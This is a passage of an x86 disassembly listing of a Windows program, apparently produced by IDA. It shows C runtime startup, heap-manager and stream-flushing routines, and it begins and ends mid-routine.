loc_41A4BE:				; CODE XREF: sub_41A414+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41A4A7


loc_41A4C9:				; CODE XREF: sub_41A414+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DCE44
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_41A50E
		jmp	short loc_41A490
; ---------------------------------------------------------------------------


loc_41A4E1:				; CODE XREF: sub_41A414+Fj
		cmp	dword_4DCE34, esi
		jnz	short loc_41A4F4
		push	[ebp+arg_4]
		call	sub_417D40
		pop	ecx
		jmp	short loc_41A50E
; ---------------------------------------------------------------------------


loc_41A4F4:				; CODE XREF: sub_41A414+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DCE44
		call	dword_424168	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_41A490


loc_41A50D:				; CODE XREF: sub_41A414+6Bj
		dec	eax


loc_41A50E:				; CODE XREF: sub_41A414+1Aj
					; sub_41A414+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A414	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A513	proc near		; CODE XREF: start+272j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424708
		push	offset sub_41FFCC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	dword_42419C	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_4DCD8C, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_4DCD88, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_4DCD84, ecx
		shr	eax, 10h
		mov	dword_4DCD80, eax
		xor	esi, esi
		push	esi
		call	sub_41A9B2
		pop	ecx
		test	eax, eax
		jnz	short loc_41A57F
		push	1Ch
		call	sub_41A62E
		pop	ecx


loc_41A57F:				; CODE XREF: sub_41A513+62j
		mov	[ebp+var_4], esi
		call	sub_41FE19
		call	dword_424198	; GetCommandLineA
		mov	dword_4DE40C, eax
		call	sub_41FCE7
		mov	dword_4DCDE8, eax
		call	sub_41FA9A
		call	sub_41F9E1
		call	sub_4184E4
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_424194	; GetStartupInfoA
		call	sub_41F989
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_41A5CC
		movzx	eax, [ebp+var_2C]
		jmp	short loc_41A5CF
; ---------------------------------------------------------------------------


loc_41A5CC:				; CODE XREF: sub_41A513+B1j
		push	0Ah
		pop	eax


loc_41A5CF:				; CODE XREF: sub_41A513+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	dword_42409C	; GetModuleHandleA
		push	eax
		call	sub_40121E
		mov	[ebp+var_60], eax
		push	eax
		call	sub_418511
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_41F805
		pop	ecx
		pop	ecx
		retn
sub_41A513	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_418522

; =============== S U B	R O U T	I N E =======================================



sub_41A609	proc near		; CODE XREF: sub_419DB2+16p
					; sub_41F30B+4Dp ...

arg_0		= dword	ptr  4

		cmp	dword_4DCDF0, 1
		jnz	short loc_41A617
		call	sub_4200A4


loc_41A617:				; CODE XREF: sub_41A609+7j
		push	[esp+arg_0]
		call	sub_4200DD
		push	0FFh
		call	off_43D250
		pop	ecx
		pop	ecx
		retn
sub_41A609	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A62E	proc near		; CODE XREF: sub_41A513+66p

arg_0		= dword	ptr  4

		cmp	dword_4DCDF0, 1
		jnz	short loc_41A63C
		call	sub_4200A4


loc_41A63C:				; CODE XREF: sub_41A62E+7j
		push	[esp+arg_0]
		call	sub_4200DD
		pop	ecx
		push	0FFh
		call	dword_424064	; ExitProcess
		retn
sub_41A62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A652	proc near		; CODE XREF: sub_417DBB+2Ap
					; sub_42063B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DD1A0
		jnb	loc_41A6EC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD0A0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A6EC
		push	edi
		call	sub_4203B6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A6CB
		cmp	edi, 1
		jz	short loc_41A699
		cmp	edi, 2
		jnz	short loc_41A6AF


loc_41A699:				; CODE XREF: sub_41A652+40j
		push	2
		call	sub_4203B6
		push	1
		mov	ebp, eax
		call	sub_4203B6
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41A6CB


loc_41A6AF:				; CODE XREF: sub_41A652+45j
		push	edi
		call	sub_4203B6
		pop	ecx
		push	eax
		call	dword_424068	; CloseHandle
		test	eax, eax
		jnz	short loc_41A6CB
		call	dword_42408C	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_41A6CD
; ---------------------------------------------------------------------------


loc_41A6CB:				; CODE XREF: sub_41A652+3Bj
					; sub_41A652+5Bj ...
		xor	ebp, ebp


loc_41A6CD:				; CODE XREF: sub_41A652+77j
		push	edi
		call	sub_42033C
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41A6E8
		push	ebp
		call	sub_41CFBF
		pop	ecx
		jmp	short loc_41A6FD
; ---------------------------------------------------------------------------


loc_41A6E8:				; CODE XREF: sub_41A652+8Bj
		xor	eax, eax
		jmp	short loc_41A700
; ---------------------------------------------------------------------------


loc_41A6EC:				; CODE XREF: sub_41A652+Ej
					; sub_41A652+2Fj
		and	dword_4DCD78, 0
		mov	dword_4DCD74, 9


loc_41A6FD:				; CODE XREF: sub_41A652+94j
		or	eax, 0FFFFFFFFh


loc_41A700:				; CODE XREF: sub_41A652+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A652	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A705	proc near		; CODE XREF: sub_417DBB+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41A72E
		test	al, 8
		jz	short loc_41A72E
		push	dword ptr [esi+8]
		call	sub_417E11
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41A72E:				; CODE XREF: sub_41A705+Aj
					; sub_41A705+Ej
		pop	esi
		retn
sub_41A705	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A730	proc near		; CODE XREF: sub_41A7D0+2Dp
					; sub_41A7D0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41A742
		push	esi
		call	sub_41A7D0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A742:				; CODE XREF: sub_41A730+7j
		push	esi
		call	sub_41A76B
		test	eax, eax
		pop	ecx
		jz	short loc_41A752
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A752:				; CODE XREF: sub_41A730+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41A767
		push	dword ptr [esi+10h]
		call	sub_4203F3
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A767:				; CODE XREF: sub_41A730+26j
		xor	eax, eax
		pop	esi
		retn
sub_41A730	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A76B	proc near		; CODE XREF: sub_417DBB+1Ap
					; sub_419F7D+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41A7B8
		test	ax, 108h
		jz	short loc_41A7B8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A7B8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42044A
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41A7B1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41A7B8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41A7B8
; ---------------------------------------------------------------------------


loc_41A7B1:				; CODE XREF: sub_41A76B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41A7B8:				; CODE XREF: sub_41A76B+14j
					; sub_41A76B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41A76B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7C7	proc near		; CODE XREF: sub_41F3B0p
		push	1
		call	sub_41A7D0
		pop	ecx
		retn
sub_41A7C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_41A730+Ap
					; sub_41A7C7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DE1C0, esi
		jle	short loc_41A82E


loc_41A7E1:				; CODE XREF: sub_41A7D0+5Cj
		mov	eax, dword_4DD1A4
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41A825
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41A825
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41A80B
		push	eax
		call	sub_41A730
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A825
		inc	ebx
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A80B:				; CODE XREF: sub_41A7D0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41A825
		test	cl, 2
		jz	short loc_41A825
		push	eax
		call	sub_41A730
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41A825
		or	edi, eax


loc_41A825:				; CODE XREF: sub_41A7D0+1Bj
					; sub_41A7D0+23j ...
		inc	esi
		cmp	esi, dword_4DE1C0
		jl	short loc_41A7E1


loc_41A82E:				; CODE XREF: sub_41A7D0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41A839
		mov	eax, edi


loc_41A839:				; CODE XREF: sub_41A7D0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A7D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A83D	proc near		; CODE XREF: sub_41A86A+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	dword_42409C	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41A868
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41A868
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41A868:				; CODE XREF: sub_41A83D+15j
					; sub_41A83D+1Cj
		pop	esi
		retn
sub_41A83D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A86A	proc near		; CODE XREF: sub_41A9B2+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_418880
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_4240C8	; GetVersionExA
		test	eax, eax
		jz	short loc_41A8AD
		cmp	[ebp+var_88], 2
		jnz	short loc_41A8AD
		cmp	[ebp+var_94], 5
		jb	short loc_41A8AD
		push	1
		pop	eax
		jmp	loc_41A9AF
; ---------------------------------------------------------------------------


loc_41A8AD:				; CODE XREF: sub_41A86A+27j
					; sub_41A86A+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_4241A0	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_41A99C
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_41A8EF


loc_41A8DC:				; CODE XREF: sub_41A86A+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41A8EA
		cmp	al, 7Ah
		jg	short loc_41A8EA
		sub	al, 20h
		mov	[ecx], al


loc_41A8EA:				; CODE XREF: sub_41A86A+76j
					; sub_41A86A+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41A8DC


loc_41A8EF:				; CODE XREF: sub_41A86A+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_418BD0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A911
		lea	eax, [ebp+var_122C]
		jmp	short loc_41A95A
; ---------------------------------------------------------------------------


loc_41A911:				; CODE XREF: sub_41A86A+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	dword_424070	; GetModuleFileNameA
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_41A945


loc_41A932:				; CODE XREF: sub_41A86A+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41A940
		cmp	al, 7Ah
		jg	short loc_41A940
		sub	al, 20h
		mov	[ecx], al


loc_41A940:				; CODE XREF: sub_41A86A+CCj
					; sub_41A86A+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41A932


loc_41A945:				; CODE XREF: sub_41A86A+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_418660
		pop	ecx
		pop	ecx


loc_41A95A:				; CODE XREF: sub_41A86A+A5j
		cmp	eax, ebx
		jz	short loc_41A99C
		push	2Ch
		push	eax
		call	sub_418D10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41A99C
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41A981


loc_41A973:				; CODE XREF: sub_41A86A+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41A97C
		mov	[ecx], bl
		jmp	short loc_41A97D
; ---------------------------------------------------------------------------


loc_41A97C:				; CODE XREF: sub_41A86A+10Cj
		inc	ecx


loc_41A97D:				; CODE XREF: sub_41A86A+110j
		cmp	[ecx], bl
		jnz	short loc_41A973


loc_41A981:				; CODE XREF: sub_41A86A+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_418906
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41A9AF
		cmp	eax, 3
		jz	short loc_41A9AF
		cmp	eax, 1
		jz	short loc_41A9AF


loc_41A99C:				; CODE XREF: sub_41A86A+5Cj
					; sub_41A86A+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41A83D
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41A9AF:				; CODE XREF: sub_41A86A+3Ej
					; sub_41A86A+126j ...
		pop	ebx
		leave
		retn
sub_41A86A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A9B2	proc near		; CODE XREF: sub_41A513+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_4241A8	; HeapCreate
		test	eax, eax
		mov	dword_4DE404, eax
		jz	short loc_41AA08
		call	sub_41A86A
		cmp	eax, 3
		mov	dword_4DE408, eax
		jnz	short loc_41A9EE
		push	3F8h
		call	sub_41AA0F
		pop	ecx
		jmp	short loc_41A9F8
; ---------------------------------------------------------------------------


loc_41A9EE:				; CODE XREF: sub_41A9B2+2Dj
		cmp	eax, 2
		jnz	short loc_41AA0B
		call	sub_41B556


loc_41A9F8:				; CODE XREF: sub_41A9B2+3Aj
		test	eax, eax
		jnz	short loc_41AA0B
		push	dword_4DE404
		call	dword_4241A4	; HeapDestroy


loc_41AA08:				; CODE XREF: sub_41A9B2+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41AA0B:				; CODE XREF: sub_41A9B2+3Fj
					; sub_41A9B2+48j
		push	1
		pop	eax
		retn
sub_41A9B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA0F	proc near		; CODE XREF: sub_41A9B2+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_4DE404
		call	dword_424184	; RtlAllocateHeap
		test	eax, eax
		mov	dword_4DE3FC, eax
		jnz	short loc_41AA2C
		retn
; ---------------------------------------------------------------------------


loc_41AA2C:				; CODE XREF: sub_41AA0F+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_4DE3F4, 0
		and	dword_4DE3F8, 0
		push	1
		mov	dword_4DE3F0, eax
		mov	dword_4DE400, ecx
		mov	dword_4DE3E8, 10h
		pop	eax
		retn
sub_41AA0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA57	proc near		; CODE XREF: sub_417E11+17p
					; sub_417F62+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DE3F8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DE3FC
		lea	ecx, [eax+ecx*4]


loc_41AA67:				; CODE XREF: sub_41AA57+26j
		cmp	eax, ecx
		jnb	short loc_41AA7F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41AA81
		add	eax, 14h
		jmp	short loc_41AA67
; ---------------------------------------------------------------------------


loc_41AA7F:				; CODE XREF: sub_41AA57+12j
		xor	eax, eax

locret_41AA81:				; CODE XREF: sub_41AA57+21j
		retn
sub_41AA57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA82	proc near		; CODE XREF: sub_417E11+23p
					; sub_417F62+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41ADA6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41AB58
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AAE6
		push	3Fh
		pop	edx


loc_41AAE6:				; CODE XREF: sub_41AA82+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41AB3A
		cmp	edx, 20h
		jnb	short loc_41AB11
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AB32
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41AB32
; ---------------------------------------------------------------------------


loc_41AB11:				; CODE XREF: sub_41AA82+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AB32
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41AB32:				; CODE XREF: sub_41AA82+86j
					; sub_41AA82+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41AB3D
; ---------------------------------------------------------------------------


loc_41AB3A:				; CODE XREF: sub_41AA82+6Aj
		mov	ecx, [ebp+var_4]


loc_41AB3D:				; CODE XREF: sub_41AA82+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41AB58:				; CODE XREF: sub_41AA82+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AB66
		push	3Fh
		pop	edx


loc_41AB66:				; CODE XREF: sub_41AA82+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41AC09
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41AB8B
		mov	ebx, esi


loc_41AB8B:				; CODE XREF: sub_41AA82+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41AB9D
		mov	edx, esi


loc_41AB9D:				; CODE XREF: sub_41AA82+117j
		cmp	ebx, edx
		jz	short loc_41AC04
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41ABEC
		cmp	ebx, 20h
		jnb	short loc_41ABCD
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41ABEC
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41ABEC
; ---------------------------------------------------------------------------


loc_41ABCD:				; CODE XREF: sub_41AA82+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41ABEC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41ABEC:				; CODE XREF: sub_41AA82+128j
					; sub_41AA82+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41AC04:				; CODE XREF: sub_41AA82+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41AC0C
; ---------------------------------------------------------------------------


loc_41AC09:				; CODE XREF: sub_41AA82+EDj
		mov	ebx, [ebp+arg_0]


loc_41AC0C:				; CODE XREF: sub_41AA82+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41AC1A
		cmp	ebx, edx
		jz	loc_41AC9B


loc_41AC1A:				; CODE XREF: sub_41AA82+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41AC9B
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41AC72
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AC61
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41AC61:				; CODE XREF: sub_41AA82+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41AC9B
; ---------------------------------------------------------------------------


loc_41AC72:				; CODE XREF: sub_41AA82+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AC88
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41AC88:				; CODE XREF: sub_41AA82+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41AC9B:				; CODE XREF: sub_41AA82+192j
					; sub_41AA82+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41ADA6
		mov	eax, dword_4DE3F4
		test	eax, eax
		jz	loc_41AD98
		mov	ecx, dword_4DE3EC
		mov	esi, dword_4241AC
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_4DE3EC
		mov	eax, dword_4DE3F4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DE3F4
		mov	ecx, dword_4DE3EC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DE3F4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DE3F4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41AD29
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DE3F4


loc_41AD29:				; CODE XREF: sub_41AA82+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41AD98
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_4DE3F4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DE404
		call	dword_42417C	; RtlFreeHeap
		mov	eax, dword_4DE3F8
		mov	edx, dword_4DE3FC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DE3F4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_4199F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DE3F8
		cmp	eax, dword_4DE3F4
		jbe	short loc_41AD8E
		sub	[ebp+arg_0], 14h


loc_41AD8E:				; CODE XREF: sub_41AA82+306j
		mov	eax, dword_4DE3FC
		mov	dword_4DE3F0, eax


loc_41AD98:				; CODE XREF: sub_41AA82+234j
					; sub_41AA82+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DE3EC, edi
		mov	dword_4DE3F4, eax


loc_41ADA6:				; CODE XREF: sub_41AA82+38j
					; sub_41AA82+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADAB	proc near		; CODE XREF: sub_417F62+77p
					; sub_418273+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DE3F8
		mov	edx, dword_4DE3FC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41ADEB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41ADFB
; ---------------------------------------------------------------------------


loc_41ADEB:				; CODE XREF: sub_41ADAB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
